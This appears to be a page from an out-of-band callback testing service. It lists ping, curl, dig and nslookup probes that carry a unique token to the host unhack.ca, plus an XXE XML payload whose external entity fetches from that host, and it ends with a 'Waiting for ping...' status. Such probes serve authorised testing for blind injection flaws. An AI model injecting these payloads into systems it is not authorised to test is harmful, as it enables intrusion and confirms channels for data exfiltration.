$ ping -c1 -p 0000437b3001bd66d34bbb853fda2400 unhack.ca
 
$ curl http://unhack.ca/p/00437b3001bd66d34bbb853fda24
 
$ dig 00437b3001bd66d34bbb853fda24 @unhack.ca
 
$ dig 00437b3001bd66d34bbb853fda24.ns.unhack.ca
 
C:\> nslookup 00437b3001bd66d34bbb853fda24 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/00437b3001bd66d34bbb853fda24">]>
    <foo>&xxe;</foo>
Waiting for ping...